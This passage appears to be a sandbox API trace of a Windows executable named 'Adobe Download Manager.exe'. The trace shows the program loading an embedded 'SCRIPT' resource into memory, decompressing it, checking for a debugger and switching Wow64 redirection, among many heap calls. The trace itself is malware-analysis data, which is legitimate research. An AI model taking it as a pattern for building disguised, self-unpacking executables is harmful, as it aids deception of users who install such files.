lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop") returned 0x1d [0131.345] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe97b10 [0131.345] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe9be48 [0131.345] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xbcfa38, nSize=0x7fff | out: lpFilename="C:\\Users\\RDhJ0CNFevzX\\Desktop\\Adobe Download Manager.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\adobe download manager.exe")) returned 0x38 [0131.345] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x80) returned 0xe89aa8 [0131.345] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe9bea8 [0131.347] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\Adobe Download Manager.exe", nBufferLength=0x7fff, lpBuffer=0xbbfa28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop\\Adobe Download Manager.exe", lpFilePart=0x0) returned 0x38 [0131.347] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe89838 | out: hHeap=0xe80000) returned 1 [0131.347] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x80) returned 0xe8ad20 [0131.348] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe89aa8 | out: hHeap=0xe80000) returned 1 [0131.349] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9bea8 | out: hHeap=0xe80000) returned 1 [0131.349] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xe8af08 [0131.349] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe9bee8 [0131.349] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x770a0000 [0131.350] GetProcAddress (hModule=0x770a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x770bf350 [0131.350] Wow64DisableWow64FsRedirection (in: OldValue=0xbdfa3c | out: OldValue=0xbdfa3c*=0x0) returned 1 [0131.350] FreeLibrary (hLibModule=0x770a0000) returned 1 [0131.350] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xe8c168 [0131.350] GetCurrentPackageId () returned 0x3d54 [0131.350] CreateFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\Adobe Download Manager.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\adobe download manager.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xbdf8d8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0131.351] GetFileType (hFile=0x1dc) returned 0x1 [0131.351] LoadLibraryExW (lpLibFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\Adobe Download Manager.exe", hFile=0x0, dwFlags=0x2) returned 0x2b0000 [0131.351] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x770a0000 [0131.351] GetProcAddress (hModule=0x770a0000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x770bf330 [0131.351] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0131.351] FreeLibrary (hLibModule=0x770a0000) returned 1 [0131.352] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10000) returned 0xe9c3b8 [0131.352] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe9bea8 [0131.352] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0xbdfa98 | out: ppstm=0xbdfa98*=0xe9c0c8) returned 0x0 [0131.353] FindResourceExW (hModule=0x2b0000, lpType=0xa, lpName="SCRIPT", wLanguage=0x0) returned 0x3776c8 [0131.353] LoadResource (hModule=0x2b0000, hResInfo=0x3776c8) returned 0x4a25ac [0131.353] SizeofResource (hModule=0x2b0000, hResInfo=0x3776c8) returned 0xea26 [0131.353] LockResource (hResData=0x4a25ac) returned 0x4a25ac [0131.353] ISequentialStream:RemoteWrite (in: This=0xe9c0c8, pv=0x4a25ac*=0xa3, cb=0xea26, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0131.355] IStream:RemoteSeek (in: This=0xe9c0c8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0131.355] IStream:RemoteSeek (in: This=0xe9c0c8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0131.355] ISequentialStream:RemoteRead (in: This=0xe9c0c8, pv=0xe9c3b8, cb=0x18, pcbRead=0xbdf9c4 | out: pv=0xe9c3b8*=0xa3, pcbRead=0xbdf9c4*=0x18) returned 0x0 [0131.355] IStream:RemoteSeek (in: This=0xe9c0c8, dlibMove=0x14, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0131.355] ISequentialStream:RemoteRead (in: This=0xe9c0c8, pv=0xbdfa08, cb=0x4, pcbRead=0xbdf9c4 | out: pv=0xbdfa08*=0x45, pcbRead=0xbdf9c4*=0x4) returned 0x0 [0131.355] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9bea8 | out: hHeap=0xe80000) returned 1 [0131.356] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c3b8 | out: hHeap=0xe80000) returned 1 [0131.356] ISequentialStream:RemoteRead (in: This=0xe9c0c8, pv=0xbdfa2c, cb=0x10, pcbRead=0xbdfa04 | out: pv=0xbdfa2c*=0x4d, pcbRead=0xbdfa04*=0x10) returned 0x0 [0131.356] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xbdf900 | out: lpSystemTimeAsFileTime=0xbdf900*(dwLowDateTime=0x878e85ea, dwHighDateTime=0x1da5a12)) [0131.356] IStream:RemoteSeek (in: This=0xe9c0c8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0131.356] IStream:RemoteSeek (in: This=0xe9c0c8, dlibMove=0x28, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0131.356] ISequentialStream:RemoteRead (in: This=0xe9c0c8, pv=0xbdf380, cb=0x4, pcbRead=0xbdf144 | out: pv=0xbdf380*=0x6b, pcbRead=0xbdf144*=0x4) returned 0x0 [0131.356] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xbdf040 | out: lpSystemTimeAsFileTime=0xbdf040*(dwLowDateTime=0x878e85ea, dwHighDateTime=0x1da5a12)) [0131.356] ISequentialStream:RemoteRead (in: This=0xe9c0c8, pv=0xbdf388, cb=0x4, pcbRead=0xbdf144 | out: pv=0xbdf388*=0xa6, pcbRead=0xbdf144*=0x4) returned 0x0 [0131.356] ISequentialStream:RemoteRead (in: This=0xe9c0c8, pv=0xbdf170, cb=0x34, pcbRead=0xbdf144 | out: pv=0xbdf170*=0xe1, pcbRead=0xbdf144*=0x34) returned 0x0 [0131.356] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xbdf040 | out: lpSystemTimeAsFileTime=0xbdf040*(dwLowDateTime=0x878e85ea, dwHighDateTime=0x1da5a12)) [0131.357] ISequentialStream:RemoteRead (in: This=0xe9c0c8, pv=0xbdf388, cb=0x4, pcbRead=0xbdf144 | out: pv=0xbdf388*=0x62, pcbRead=0xbdf144*=0x4) returned 0x0 [0131.357] ISequentialStream:RemoteRead (in: This=0xe9c0c8, pv=0xbdf3b4, cb=0x84, pcbRead=0xbdf144 | out: pv=0xbdf3b4*=0x6c, pcbRead=0xbdf144*=0x84) returned 0x0 [0131.357] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xbdf040 | out: lpSystemTimeAsFileTime=0xbdf040*(dwLowDateTime=0x878e85ea, dwHighDateTime=0x1da5a12)) [0131.357] ISequentialStream:RemoteRead (in: This=0xe9c0c8, pv=0xbdfa3b, cb=0x1, pcbRead=0xbdf38c | out: pv=0xbdfa3b*=0x0, pcbRead=0xbdf38c*=0x1) returned 0x0 [0131.357] ISequentialStream:RemoteRead (in: This=0xe9c0c8, pv=0xbdfa34, cb=0x4, pcbRead=0xbdf38c | out: pv=0xbdfa34*=0xbc, pcbRead=0xbdf38c*=0x4) returned 0x0 [0131.357] ISequentialStream:RemoteRead (in: This=0xe9c0c8, pv=0xbdfa34, cb=0x4, pcbRead=0xbdf38c | out: pv=0xbdfa34*=0xbc, pcbRead=0xbdf38c*=0x4) returned 0x0 [0131.357] ISequentialStream:RemoteRead (in: This=0xe9c0c8, pv=0xbdfa34, cb=0x4, pcbRead=0xbdf38c | out: pv=0xbdfa34*=0x84, pcbRead=0xbdf38c*=0x4) returned 0x0 [0131.357] IStream:RemoteSeek (in: This=0xe9c0c8, dlibMove=0x10, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0131.357] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x1) returned 0xe9be58 [0131.357] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x1) returned 0xe9bef8 [0131.357] ISequentialStream:RemoteRead (in: This=0xe9c0c8, pv=0xe9bef8, cb=0x0, pcbRead=0xbdf38c | out: pv=0xe9bef8*=0x0, pcbRead=0xbdf38c*=0x0) returned 0x0 [0131.357] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xbdf288 | out: lpSystemTimeAsFileTime=0xbdf288*(dwLowDateTime=0x878e85ea, dwHighDateTime=0x1da5a12)) [0131.357] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9be58 | out: hHeap=0xe80000) returned 1 [0131.357] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9bef8 | out: hHeap=0xe80000) returned 1 [0131.357] CloseHandle (hObject=0x1dc) returned 1 [0131.357] IUnknown:Release (This=0xe9c0c8) returned 0x0 [0131.357] FreeLibrary (hLibModule=0x2b0000) returned 1 [0131.358] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe8af08 | out: hHeap=0xe80000) returned 1 [0131.358] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9bee8 | out: hHeap=0xe80000) returned 1 [0131.358] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe8d348 | out: hHeap=0xe80000) returned 1 [0131.358] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x80) returned 0xe89aa8 [0131.358] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe97b28 [0131.358] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xe9c028 [0131.358] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe9bed8 [0131.358] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xe9c0f0 [0131.358] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe97b40 [0131.358] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe9beb8 [0131.358] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe97b40 | out: hHeap=0xe80000) returned 1 [0131.358] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xe9c348 [0131.358] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe97b40 [0131.358] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe97b88 [0131.359] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c028 | out: hHeap=0xe80000) returned 1 [0131.359] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9bed8 | out: hHeap=0xe80000) returned 1 [0131.359] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe97ba0 [0131.359] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe9be58 [0131.359] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe89838 [0131.359] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe9be68 [0131.359] RtlSizeHeap (HeapHandle=0xe80000, Flags=0x0, MemoryPointer=0xe89bd0) returned 0x80 [0131.359] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xe9c320 [0131.359] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe8d348 [0131.359] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe9be78 [0131.359] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe9c3e8 [0131.359] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe97ba0 | out: hHeap=0xe80000) returned 1 [0131.359] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9be58 | out: hHeap=0xe80000) returned 1 [0131.359] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe9c400 [0131.359] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe9be58 [0131.359] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe9be88 [0131.360] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x214) returned 0xe9c7c0 [0131.360] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe9bef8 [0131.360] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe9c418 [0131.360] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c400 | out: hHeap=0xe80000) returned 1 [0131.360] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9be58 | out: hHeap=0xe80000) returned 1 [0131.360] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe97b28 | out: hHeap=0xe80000) returned 1 [0131.360] IsDebuggerPresent () returned 0 [0131.360] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\Adobe Download Manager.exe", nBufferLength=0x7fff, lpBuffer=0xbbfa50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop\\Adobe Download Manager.exe", lpFilePart=0x0) returned 0x38 [0131.360] GetLongPathNameW (in: lpszShortPath="C:\\Users\\RDhJ0CNFevzX\\Desktop\\Adobe Download Manager.exe", lpszLongPath=0xbbfa50, cchBuffer=0x7fff | out: lpszLongPath="C:\\Users\\RDhJ0CNFevzX\\Desktop\\Adobe Download Manager.exe") returned 0x38 [0131.361] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe9c568 [0131.361] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe9be58 [0131.361] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\Adobe Download Manager.exe", nBufferLength=0x7fff, lpBuffer=0xbbfa20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop\\Adobe Download Manager.exe", lpFilePart=0x0) returned 0x38 [0131.361] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c568 | out: hHeap=0xe80000) returned 1 [0131.361] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x80) returned 0xe8d6a8 [0131.361] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xe9c1e0 [0131.361] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe9c6d0 [0131.361] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xe9c118 [0131.361] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe9bea8 [0131.361] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x770a0000 [0131.361] GetProcAddress (hModule=0x770a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x770bf350 [0131.361] Wow64DisableWow64FsRedirection (in: OldValue=0xbcf9bc | out: OldValue=0xbcf9bc*=0x0) returned 1 [0131.361] FreeLibrary (hLibModule=0x770a0000) returned 1 [0131.362] CreateFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\Adobe Download Manager.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\adobe download manager.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xbcf858, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0131.362] GetFileType (hFile=0x1dc) returned 0x1 [0131.362] LoadLibraryExW (lpLibFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\Adobe Download Manager.exe", hFile=0x0, dwFlags=0x2) returned 0x2b0000 [0131.362] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x770a0000 [0131.362] GetProcAddress (hModule=0x770a0000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x770bf330 [0131.362] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0131.362] FreeLibrary (hLibModule=0x770a0000) returned 1 [0131.362] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10000) returned 0xe9d9e8 [0131.362] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe9bed8 [0131.362] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0xbcf9ec | out: ppstm=0xbcf9ec*=0xe9c000) returned 0x0 [0131.363] FindResourceExW (hModule=0x2b0000, lpType=0xa, lpName="SCRIPT", wLanguage=0x0) returned 0x3776c8 [0131.363] LoadResource (hModule=0x2b0000, hResInfo=0x3776c8) returned 0x4a25ac [0131.363] SizeofResource (hModule=0x2b0000, hResInfo=0x3776c8) returned 0xea26 [0131.363] LockResource (hResData=0x4a25ac) returned 0x4a25ac [0131.363] ISequentialStream:RemoteWrite (in: This=0xe9c000, pv=0x4a25ac*=0xa3, cb=0xea26, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0131.363] IStream:RemoteSeek (in: This=0xe9c000, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0131.363] IStream:RemoteSeek (in: This=0xe9c000, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0131.363] ISequentialStream:RemoteRead (in: This=0xe9c000, pv=0xe9d9e8, cb=0x18, pcbRead=0xbcf944 | out: pv=0xe9d9e8*=0xa3, pcbRead=0xbcf944*=0x18) returned 0x0 [0131.363] IStream:RemoteSeek (in: This=0xe9c000, dlibMove=0x14, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0131.363] ISequentialStream:RemoteRead (in: This=0xe9c000, pv=0xbcf988, cb=0x4, pcbRead=0xbcf944 | out: pv=0xbcf988*=0x45, pcbRead=0xbcf944*=0x4) returned 0x0 [0131.363] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9bed8 | out: hHeap=0xe80000) returned 1 [0131.364] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9d9e8 | out: hHeap=0xe80000) returned 1 [0131.365] ISequentialStream:RemoteRead (in: This=0xe9c000, pv=0xbcf9ac, cb=0x10, pcbRead=0xbcf984 | out: pv=0xbcf9ac*=0x4d, pcbRead=0xbcf984*=0x10) returned 0x0 [0131.365] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xbcf880 | out: lpSystemTimeAsFileTime=0xbcf880*(dwLowDateTime=0x8790fa51, dwHighDateTime=0x1da5a12)) [0131.365] IStream:RemoteSeek (in: This=0xe9c000, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0131.365] IStream:RemoteSeek (in: This=0xe9c000, dlibMove=0x28, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0131.365] ISequentialStream:RemoteRead (in: This=0xe9c000, pv=0xbcf300, cb=0x4, pcbRead=0xbcf0c4 | out: pv=0xbcf300*=0x6b, pcbRead=0xbcf0c4*=0x4) returned 0x0 [0131.366] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xbcefc0 | out: lpSystemTimeAsFileTime=0xbcefc0*(dwLowDateTime=0x8790fa51, dwHighDateTime=0x1da5a12)) [0131.366] ISequentialStream:RemoteRead (in: This=0xe9c000, pv=0xbcf308, cb=0x4, pcbRead=0xbcf0c4 | out: pv=0xbcf308*=0xa6, pcbRead=0xbcf0c4*=0x4) returned 0x0 [0131.366] ISequentialStream:RemoteRead (in: This=0xe9c000, pv=0xbcf0f0, cb=0x34, pcbRead=0xbcf0c4 | out: pv=0xbcf0f0*=0xe1, pcbRead=0xbcf0c4*=0x34) returned 0x0 [0131.366] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xbcefc0 | out: lpSystemTimeAsFileTime=0xbcefc0*(dwLowDateTime=0x8790fa51, dwHighDateTime=0x1da5a12)) [0131.366] ISequentialStream:RemoteRead (in: This=0xe9c000, pv=0xbcf308, cb=0x4, pcbRead=0xbcf0c4 | out: pv=0xbcf308*=0x62, pcbRead=0xbcf0c4*=0x4) returned 0x0 [0131.366] ISequentialStream:RemoteRead (in: This=0xe9c000, pv=0xbcf334, cb=0x84, pcbRead=0xbcf0c4 | out: pv=0xbcf334*=0x6c, pcbRead=0xbcf0c4*=0x84) returned 0x0 [0131.366] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xbcefc0 | out: lpSystemTimeAsFileTime=0xbcefc0*(dwLowDateTime=0x8790fa51, dwHighDateTime=0x1da5a12)) [0131.366] IStream:RemoteSeek (in: This=0xe9c000, dlibMove=0x1, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0131.366] ISequentialStream:RemoteRead (in: This=0xe9c000, pv=0xbcf2f8, cb=0x4, pcbRead=0xbcf0c4 | out: pv=0xbcf2f8*=0xbc, pcbRead=0xbcf0c4*=0x4) returned 0x0 [0131.366] IStream:RemoteSeek (in: This=0xe9c000, dlibMove=0x18, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0131.366] ISequentialStream:RemoteRead (in: This=0xe9c000, pv=0xbcf300, cb=0x4, pcbRead=0xbcf0c4 | out: pv=0xbcf300*=0x6b, pcbRead=0xbcf0c4*=0x4) returned 0x0 [0131.366] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xbcefc0 | out: lpSystemTimeAsFileTime=0xbcefc0*(dwLowDateTime=0x8790fa51, dwHighDateTime=0x1da5a12)) [0131.366] ISequentialStream:RemoteRead (in: This=0xe9c000, pv=0xbcf308, cb=0x4, pcbRead=0xbcf0c4 | out: pv=0xbcf308*=0xaf, pcbRead=0xbcf0c4*=0x4) returned 0x0 [0131.366] ISequentialStream:RemoteRead (in: This=0xe9c000, pv=0xbcf0f0, cb=0x26, pcbRead=0xbcf0c4 | out: pv=0xbcf0f0*=0xe6, pcbRead=0xbcf0c4*=0x26) returned 0x0 [0131.366] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xbcefc0 | out: lpSystemTimeAsFileTime=0xbcefc0*(dwLowDateTime=0x8790fa51, dwHighDateTime=0x1da5a12)) [0131.366] ISequentialStream:RemoteRead (in: This=0xe9c000, pv=0xbcf308, cb=0x4, pcbRead=0xbcf0c4 | out: pv=0xbcf308*=0x66, pcbRead=0xbcf0c4*=0x4) returned 0x0 [0131.366] ISequentialStream:RemoteRead (in: This=0xe9c000, pv=0xbcf334, cb=0x8c, pcbRead=0xbcf0c4 | out: pv=0xbcf334*=0xde, pcbRead=0xbcf0c4*=0x8c) returned 0x0 [0131.366] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xbcefc0 | out: lpSystemTimeAsFileTime=0xbcefc0*(dwLowDateTime=0x8790fa51, dwHighDateTime=0x1da5a12)) [0131.366] ISequentialStream:RemoteRead (in: This=0xe9c000, pv=0xbcf9bb, cb=0x1, pcbRead=0xbcf30c | out: pv=0xbcf9bb*=0x1, pcbRead=0xbcf30c*=0x1) returned 0x0 [0131.366] ISequentialStream:RemoteRead (in: This=0xe9c000, pv=0xbcf9b4, cb=0x4, pcbRead=0xbcf30c | out: pv=0xbcf9b4*=0x86, pcbRead=0xbcf30c*=0x4) returned 0x0 [0131.366] ISequentialStream:RemoteRead (in: This=0xe9c000, pv=0xbcf9b4, cb=0x4, pcbRead=0xbcf30c | out: pv=0xbcf9b4*=0xc1, pcbRead=0xbcf30c*=0x4) returned 0x0 [0131.366] ISequentialStream:RemoteRead (in: This=0xe9c000, pv=0xbcf9b4, cb=0x4, pcbRead=0xbcf30c | out: pv=0xbcf9b4*=0x5f, pcbRead=0xbcf30c*=0x4) returned 0x0 [0131.366] IStream:RemoteSeek (in: This=0xe9c000, dlibMove=0x10, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0131.367] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4577d) returned 0xebc428 [0131.368] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xe83a) returned 0xe9d9e8 [0131.368] ISequentialStream:RemoteRead (in: This=0xe9c000, pv=0xe9d9e8, cb=0xe83a, pcbRead=0xbcf30c | out: pv=0xe9d9e8*=0x6d, pcbRead=0xbcf30c*=0xe83a) returned 0x0 [0131.369] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xbcf208 | out: lpSystemTimeAsFileTime=0xbcf208*(dwLowDateTime=0x8790fa51, dwHighDateTime=0x1da5a12)) [0131.372] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20000) returned 0xf01bb0 [0131.372] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10000) returned 0xf21bb8 [0131.373] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10000) returned 0xf31bc0 [0131.394] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xf01bb0 | out: hHeap=0xe80000) returned 1 [0131.397] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xf21bb8 | out: hHeap=0xe80000) returned 1 [0131.399] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xf31bc0 | out: hHeap=0xe80000) returned 1 [0131.401] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9d9e8 | out: hHeap=0xe80000) returned 1 [0131.402] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10504) returned 0xf01bb0 [0131.404] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xe) returned 0xe9c610 [0131.404] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe9c658 [0131.404] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe9bf78 [0131.404] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c658 | out: hHeap=0xe80000) returned 1 [0131.404] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9bf78 | out: hHeap=0xe80000) returned 1 [0131.404] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c610 | out: hHeap=0xe80000) returned 1 [0131.404] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xe9c2a8 [0131.404] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9c658 [0131.404] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9c520 [0131.404] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe9c4f0 [0131.404] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe9bed8 [0131.404] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c4f0 | out: hHeap=0xe80000) returned 1 [0131.404] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9bed8 | out: hHeap=0xe80000) returned 1 [0131.404] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c520 | out: hHeap=0xe80000) returned 1 [0131.404] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9c430 [0131.404] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x26) returned 0xe88568 [0131.405] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe9c4a8 [0131.405] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0xe8c230 [0131.405] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe9bf08 [0131.405] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe88568 | out: hHeap=0xe80000) returned 1 